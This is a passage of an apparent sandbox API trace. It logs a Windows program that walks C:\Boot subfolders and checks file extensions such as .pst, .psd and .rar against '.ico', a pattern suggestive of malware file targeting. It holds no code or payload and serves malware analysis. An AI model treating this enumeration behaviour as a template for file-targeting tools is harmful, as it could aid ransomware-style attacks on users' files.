lpString2=".ico") returned 1 [0195.608] lstrlenW (lpString=".psd") returned 4 [0195.609] lstrcmpiW (lpString1=".psd", lpString2=".ico") returned 1 [0195.609] lstrlenW (lpString=".pst") returned 4 [0195.609] lstrcmpiW (lpString1=".pst", lpString2=".ico") returned 1 [0195.609] lstrlenW (lpString=".ptx") returned 4 [0195.609] lstrcmpiW (lpString1=".ptx", lpString2=".ico") returned 1 [0195.609] lstrlenW (lpString=".pub") returned 4 [0195.609] lstrcmpiW (lpString1=".pub", lpString2=".ico") returned 1 [0195.609] lstrlenW (lpString=".pwm") returned 4 [0195.609] lstrcmpiW (lpString1=".pwm", lpString2=".ico") returned 1 [0195.609] lstrlenW (lpString=".pxr") returned 4 [0195.609] lstrcmpiW (lpString1=".pxr", lpString2=".ico") returned 1 [0195.609] lstrlenW (lpString=".py") returned 3 [0195.609] lstrcmpiW (lpString1=".py", lpString2="ico") returned -1 [0195.609] lstrlenW (lpString=".qt") returned 3 [0195.609] lstrcmpiW (lpString1=".qt", lpString2="ico") returned -1 [0195.609] lstrlenW (lpString=".r3d") returned 4 [0195.609] lstrcmpiW (lpString1=".r3d", lpString2=".ico") returned 1 [0195.609] lstrlenW (lpString=".raf") returned 4 [0195.609] lstrcmpiW (lpString1=".raf", lpString2=".ico") returned 1 [0195.609] lstrlenW (lpString=".rar") returned 4 [0195.609] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0195.609] lstrlenW (lpString=".raw") returned 4 [0195.609] lstrcmpiW (lpString1=".raw", lpString2=".ico") returned 1 [0195.609] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.609] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.610] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.610] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.610] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.610] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.610] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.610] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.610] FindNextFileW (in: hFindFile=0x7a1fb0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.610] FindClose (in: hFindFile=0x7a1fb0 | out: hFindFile=0x7a1fb0) returned 1 [0195.648] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.648] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.648] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.648] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.648] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.648] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.648] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.648] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.670] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.670] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.670] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.670] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.670] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.670] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.670] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.671] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.671] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.671] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.671] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.671] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.672] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.672] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.672] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.672] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.672] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.672] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 0 [0195.680] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.680] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x3c60050 | out: hHeap=0x790000) returned 1 [0195.680] FindNextFileW (in: hFindFile=0x7a1af0, lpFindFileData=0x2edfcf8 | out: lpFindFileData=0x2edfcf8) returned 1 [0195.681] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x3c60050 [0195.681] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 0x7a18f0 [0195.744] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.744] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.744] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.744] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.745] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.745] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.745] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.745] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.765] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.765] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.765] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.765] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.765] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.765] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.765] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.765] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.766] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.766] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.766] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0195.782] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.782] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.782] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.783] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.783] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.783] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.783] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.783] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.783] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1f30 [0195.796] FindNextFileW (in: hFindFile=0x7a1f30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.796] FindNextFileW (in: hFindFile=0x7a1f30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.796] FindNextFileW (in: hFindFile=0x7a1f30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.796] FindNextFileW (in: hFindFile=0x7a1f30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.796] FindClose (in: hFindFile=0x7a1f30 | out: hFindFile=0x7a1f30) returned 1 [0195.797] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.797] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.797] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.797] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1870 [0195.797] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.797] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.797] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.797] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.797] FindClose (in: hFindFile=0x7a1870 | out: hFindFile=0x7a1870) returned 1 [0195.797] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.797] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.797] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.797] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1db0 [0195.798] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.798] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.798] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.798] FindNextFileW (in: hFindFile=0x7a1db0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.798] FindClose (in: hFindFile=0x7a1db0 | out: hFindFile=0x7a1db0) returned 1 [0195.798] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.798] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.798] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.798] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1ef0 [0195.802] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.802] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.802] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.802] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.802] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.802] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.802] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.802] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.802] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.802] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.803] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.803] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.803] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.803] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.803] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.803] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.803] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.804] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.805] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.805] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.805] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.805] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.805] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.805] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.805] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.805] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.805] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.806] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.806] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.806] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.806] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.806] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.806] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.806] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1f70 [0195.806] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.806] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.806] FindNextFileW (in: hFindFile=0x7a1f70, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.806] FindClose (in: hFindFile=0x7a1f70 | out: hFindFile=0x7a1f70) returned 1 [0195.806] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.806] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.806] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.807] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.816] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.816] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.816] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.816] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.816] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.817] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.817] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.817] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.817] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.864] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.864] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.864] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.864] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.864] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.864] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.864] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.864] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.864] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.864] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.864] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.864] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.865] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.865] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.865] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.865] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.865] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.865] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.865] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.866] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.866] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.866] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.866] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1f30 [0195.874] FindNextFileW (in: hFindFile=0x7a1f30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.874] FindNextFileW (in: hFindFile=0x7a1f30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.874] FindNextFileW (in: hFindFile=0x7a1f30, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.875] FindClose (in: hFindFile=0x7a1f30 | out: hFindFile=0x7a1f30) returned 1 [0195.875] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.875] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.875] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.875] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.875] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.875] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.875] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.875] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.875] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.875] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.875] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.875] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.875] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.884] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.884] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.884] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.884] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.884] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.884] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.885] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.885] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.885] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.885] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.885] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.885] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.885] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.885] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.885] FindNextFileW (in: hFindFile=0x7a18f0, lpFindFileData=0x2edfa7c | out: lpFindFileData=0x2edfa7c) returned 1 [0195.885] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.885] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0x7a1cf0 [0195.900] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.900] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.900] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 1 [0195.900] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x2edf800 | out: lpFindFileData=0x2edf800) returned 0 [0195.900] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.900] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.900] FindNextFileW 